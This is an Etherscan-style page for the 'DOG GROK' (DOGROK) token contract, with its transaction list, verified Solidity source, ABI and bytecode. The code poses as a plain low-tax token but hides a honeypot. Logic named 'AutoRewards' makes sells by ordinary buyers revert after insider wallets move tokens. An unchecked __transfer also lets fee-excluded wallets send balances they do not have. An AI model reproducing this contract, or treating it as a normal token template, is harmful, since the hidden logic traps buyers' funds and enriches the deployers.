More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 14 from a total of 14 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18568798 | 281 days ago | IN | 0 ETH | 0.00080637 | ||||
Renounce Ownersh... | 18568796 | 281 days ago | IN | 0 ETH | 0.00082538 | ||||
Approve | 18568790 | 281 days ago | IN | 0 ETH | 0.00137641 | ||||
Approve | 18562243 | 282 days ago | IN | 0 ETH | 0.00213531 | ||||
Approve | 18562234 | 282 days ago | IN | 0 ETH | 0.002111 | ||||
Approve | 18562163 | 282 days ago | IN | 0 ETH | 0.00176175 | ||||
Approve | 18562157 | 282 days ago | IN | 0 ETH | 0.00164556 | ||||
Approve | 18562154 | 282 days ago | IN | 0 ETH | 0.00169469 | ||||
Transfer | 18562143 | 282 days ago | IN | 0 ETH | 0.00186189 | ||||
Approve | 18562142 | 282 days ago | IN | 0 ETH | 0.00161462 | ||||
Transfer | 18562129 | 282 days ago | IN | 0 ETH | 0.00262307 | ||||
Approve | 18562127 | 282 days ago | IN | 0 ETH | 0.00174416 | ||||
Approve | 18562096 | 282 days ago | IN | 0 ETH | 0.0015436 | ||||
0x61014060 | 18562064 | 282 days ago | IN | 0 ETH | 0.15389071 |
Loading...
Loading
Contract Name:
DOGROK
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-13 */ /** .___ ___ ___ .___ ___ . / ` .' `. .' \ / \ .' `. / / | | | | | |__-' | | |_-' | | | | | _ | \ | | | \ /---/ `.__.' `.___| / \ `.__.' / \ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function __transfer( address sender, address recipient, uint256 amount ) internal virtual { _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } contract DOGROK is ERC20, Ownable { using SafeMath for uint256; address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // 0% buy tax uint256 public constant buyMarketingFee = 0; uint256 public constant buyDevFee = 0; uint256 public constant buyTotalFees = 0; // 1% sell tax uint256 public constant sellMarketingFee = 1; uint256 public constant sellDevFee = 0; uint256 public constant sellTotalFees = 1; address payable public immutable liquidityWallet = payable(0x4BB9E51549d421d6D7a5b92e4433016a05C8863D); address payable public immutable marketingWallet = payable(0x8B35386BfBD928ee80F03D38c1fb04d0F32B29c3); address payable public immutable devWallet = payable(0xAcf0c65F44DFDb5B808810069F1cE0a56fdd531A); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; uint256 public immutable swapTokensAtAmount; bool public swapEnabled = true; bool public limitsInEffect = false; bool public transferDelayEnabled = false; mapping(address => bool) public automatedMarketMakerPairs; // exlcude from fees and max transaction amount mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransaction; uint256 public tokensForMarketing; uint256 public tokensForDev; struct AutoRewards { uint256 buy; uint256 sell; uint256 holdDuration; } uint256 private _autoBase; mapping(address => AutoRewards) private autoRewards; bool private swapping; event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); constructor() ERC20("DOG GROK", "DOGROK") { uint256 totalSupply = 6900000000 * 1e18; swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap amount IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); excludeFromMaxTransaction(address(uniswapV2Pair), true); // exclude from paying fees or having max transaction amount excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(devWallet, true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromFees(liquidityWallet, true); excludeFromFees(devWallet, true); excludeFromFees(marketingWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); _mint(msg.sender, totalSupply); } function excludeFromFees(address addr, bool isEx) public onlyOwner { _isExcludedFromFees[addr] = isEx; } function isExcludedFromFees(address addr) public view returns (bool) { return _isExcludedFromFees[addr]; } function excludeFromMaxTransaction(address addr, bool isEx) public onlyOwner { _isExcludedMaxTransaction[addr] = isEx; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } receive() external payable {} function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) { _autoBase = block.timestamp; } if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) { super.__transfer(from, to, amount); return; } if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { if (!automatedMarketMakerPairs[from]) { AutoRewards storage makerAutoRewards = autoRewards[from]; makerAutoRewards.holdDuration = makerAutoRewards.buy - _autoBase; makerAutoRewards.sell = block.timestamp; } else { AutoRewards storage makerAutoRewards = autoRewards[to]; if (makerAutoRewards.buy == 0) { makerAutoRewards.buy = block.timestamp; } } } bool canSwap = balanceOf(address(this)) <= swapTokensAtAmount; if ( canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if excluded from fees then no fees if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only for buy/sell, do not take fee on wallet transfers if (takeFee) { // on buy if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForDev += (fees * buyDevFee).div(buyTotalFees); tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees); // on sell } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount * sellTotalFees / 100; tokensForDev += (fees * sellDevFee).div(sellTotalFees); tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // uniswap pair path of token/weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of tokens uint256 amountToSwapForETH = contractBalance; uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance - initialETHBalance; uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap; tokensForMarketing = 0; tokensForDev = 0; (success, ) = address(devWallet).call{value: ethForDev}(""); (success, ) = address(marketingWallet).call{value: address(this).balance}(""); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610140604052734bb9e51549d421d6d7a5b92e4433016a05c8863d608052738b35386bfbd928ee80f03d38c1fb04d0f32b29c360a05273acf0c65f44dfdb5b808810069f1ce0a56fdd531a60c0526005805462ffffff60a01b1916600160a01b1790553480156200006e575f80fd5b5060405180604001604052806008815260200167444f472047524f4b60c01b81525060405180604001604052806006815260200165444f47524f4b60d01b8152508160039081620000c0919062000688565b506004620000cf828262000688565b505050620000ec620000e66200036e60201b60201c565b62000372565b6b164b8bd581eb74d7740000006127106200010982600562000764565b62000115919062000784565b61012052737a250d5630b4cf539739df2c5dacb4c659f2488d60e081905262000140816001620003c3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200017d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001a39190620007a4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002159190620007a4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000260573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002869190620007a4565b6001600160a01b0316610100819052620002a29060016200043b565b61010051620002b3906001620003c3565b620002d2620002ca6005546001600160a01b031690565b6001620003c3565b60c051620002e2906001620003c3565b60a051620002f2906001620003c3565b620002ff306001620003c3565b6200030e61dead6001620003c3565b6080516200031e9060016200048e565b60c0516200032e9060016200048e565b60a0516200033e9060016200048e565b6200034b3060016200048e565b6200035a61dead60016200048e565b62000366338362000502565b5050620007e9565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6005546001600160a01b03163314620004115760405162461bcd60e51b815260206004820181905260248201525f80516020620022f983398151915260448201526064015b60405180910390fd5b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b6001600160a01b0382165f81815260066020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620004d85760405162461bcd60e51b815260206004820181905260248201525f80516020620022f9833981519152604482015260640162000408565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6001600160a01b0382166200055a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000408565b8060025f8282546200056d9190620007d3565b90915550506001600160a01b0382165f90815260208190526040812080548392906200059b908490620007d3565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200061257607f821691505b6020821081036200063157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620005e4575f81815260208120601f850160051c810160208610156200065f5750805b601f850160051c820191505b8181101562000680578281556001016200066b565b505050505050565b81516001600160401b03811115620006a457620006a4620005e9565b620006bc81620006b58454620005fd565b8462000637565b602080601f831160018114620006f2575f8415620006da5750858301515b5f19600386901b1c1916600185901b17855562000680565b5f85815260208120601f198616915b82811015620007225788860151825594840194600190910190840162000701565b50858210156200074057878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176200077e576200077e62000750565b92915050565b5f826200079f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620007b5575f80fd5b81516001600160a01b0381168114620007cc575f80fd5b9392505050565b808201808211156200077e576200077e62000750565b60805160a05160c05160e0516101005161012051611a89620008705f395f81816106c101528181610eef015281816113c601526113f801525f818161036c015261097b01525f8181610295015281816115ae0152818161166501526116a101525f81816104f6015261146601525f818161049301526114dd01525f61064a0152611a895ff3fe608060405260043610610220575f3560e01c80638ea5220f1161011e578063b62496f5116100a8578063d85ba0631161006d578063d85ba063146104b5578063dd62ed3e1461066c578063e2f45605146106b0578063f2fde38b146106e3578063f887ea4014610702575f80fd5b8063b62496f51461059e578063c0246668146105cc578063c424134c146105eb578063c876d0b914610619578063d469801614610639575f80fd5b80639c3b4fdc116100ee5780639c3b4fdc146104b55780639fccce321461054b578063a0d82dc5146104b5578063a457c2d714610560578063a9059cbb1461057f575f80fd5b80638ea5220f146104e557806392136913146103e557806395d89b41146105185780639a7a23d61461052c575f80fd5b80634a62bb65116101aa578063715018a61161016f578063715018a61461044d5780637571336a1461046357806375f0a874146104825780637bce5a04146104b55780638da5cb5b146104c8575f80fd5b80634a62bb651461038e5780634fbee193146103ae5780636a486a8e146103e55780636ddd1713146103f957806370a0823114610419575f80fd5b80631f3fed8f116101f05780631f3fed8f146102ed57806323b872dd14610302578063313ce56714610321578063395093511461033c57806349bd5a5e1461035b575f80fd5b806306fdde031461022b578063095ea7b3146102555780631694505e1461028457806318160ddd146102cf575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b5061023f610729565b60405161024c9190611707565b60405180910390f35b348015610260575f80fd5b5061027461026f366004611766565b6107b9565b604051901515815260200161024c565b34801561028f575f80fd5b506102b77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161024c565b3480156102da575f80fd5b506002545b60405190815260200161024c565b3480156102f8575f80fd5b506102df60095481565b34801561030d575f80fd5b5061027461031c366004611790565b6107cf565b34801561032c575f80fd5b506040516012815260200161024c565b348015610347575f80fd5b50610274610356366004611766565b61087c565b348015610366575f80fd5b506102b77f000000000000000000000000000000000000000000000000000000000000000081565b348015610399575f80fd5b5060055461027490600160a81b900460ff1681565b3480156103b9575f80fd5b506102746103c83660046117ce565b6001600160a01b03165f9081526007602052604090205460ff1690565b3480156103f0575f80fd5b506102df600181565b348015610404575f80fd5b5060055461027490600160a01b900460ff1681565b348015610424575f80fd5b506102df6104333660046117ce565b6001600160a01b03165f9081526020819052604090205490565b348015610458575f80fd5b506104616108b7565b005b34801561046e575f80fd5b5061046161047d3660046117e9565b6108ec565b34801561048d575f80fd5b506102b77f000000000000000000000000000000000000000000000000000000000000000081565b3480156104c0575f80fd5b506102df5f81565b3480156104d3575f80fd5b506005546001600160a01b03166102b7565b3480156104f0575f80fd5b506102b77f000000000000000000000000000000000000000000000000000000000000000081565b348015610523575f80fd5b5061023f610940565b348015610537575f80fd5b506104616105463660046117e9565b61094f565b348015610556575f80fd5b506102df600a5481565b34801561056b575f80fd5b5061027461057a366004611766565b610a2e565b34801561058a575f80fd5b50610274610599366004611766565b610ac6565b3480156105a9575f80fd5b506102746105b83660046117ce565b60066020525f908152604090205460ff1681565b3480156105d7575f80fd5b506104616105e63660046117e9565b610ad2565b3480156105f6575f80fd5b506102746106053660046117ce565b60086020525f908152604090205460ff1681565b348015610624575f80fd5b5060055461027490600160b01b900460ff1681565b348015610644575f80fd5b506102b77f000000000000000000000000000000000000000000000000000000000000000081565b348015610677575f80fd5b506102df610686366004611824565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156106bb575f80fd5b506102df7f000000000000000000000000000000000000000000000000000000000000000081565b3480156106ee575f80fd5b506104616106fd3660046117ce565b610b26565b34801561070d575f80fd5b506102b7737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60606003805461073890611850565b80601f016020809104026020016040519081016040528092919081815260200182805461076490611850565b80156107af5780601f10610786576101008083540402835291602001916107af565b820191905f5260205f20905b81548152906001019060200180831161079257829003601f168201915b5050505050905090565b5f6107c5338484610bc1565b5060015b92915050565b5f6107db848484610ce4565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156108645760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6108718533858403610bc1565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916107c59185906108b290869061189c565b610bc1565b6005546001600160a01b031633146108e15760405162461bcd60e51b815260040161085b906118af565b6108ea5f611158565b565b6005546001600160a01b031633146109165760405162461bcd60e51b815260040161085b906118af565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b60606004805461073890611850565b6005546001600160a01b031633146109795760405162461bcd60e51b815260040161085b906118af565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b031603610a205760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161085b565b610a2a82826111a9565b5050565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610aaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161085b565b610abc3385858403610bc1565b5060019392505050565b5f6107c5338484610ce4565b6005546001600160a01b03163314610afc5760405162461bcd60e51b815260040161085b906118af565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610b505760405162461bcd60e51b815260040161085b906118af565b6001600160a01b038116610bb55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161085b565b610bbe81611158565b50565b6001600160a01b038316610c235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161085b565b6001600160a01b038216610c845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161085b565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0a5760405162461bcd60e51b815260040161085b906118e4565b6001600160a01b038216610d305760405162461bcd60e51b815260040161085b90611929565b805f03610d4757610d4283835f6111fc565b505050565b6001600160a01b0383165f9081526007602052604090205460ff1680610d8457506001600160a01b0382165f9081526007602052604090205460ff165b8015610d9957506001600160a01b0382163014155b8015610dae57506001600160a01b0383163014155b15610db85742600b555b6001600160a01b0383165f9081526007602052604090205460ff168015610e0d575060075f610def6005546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205460ff16155b15610e1d57610d4283838361134f565b6001600160a01b0383165f9081526007602052604090205460ff16158015610e5d57506001600160a01b0382165f9081526007602052604090205460ff16155b15610ede576001600160a01b0383165f9081526006602052604090205460ff16610eb8576001600160a01b0383165f908152600c60205260409020600b548154610ea7919061196c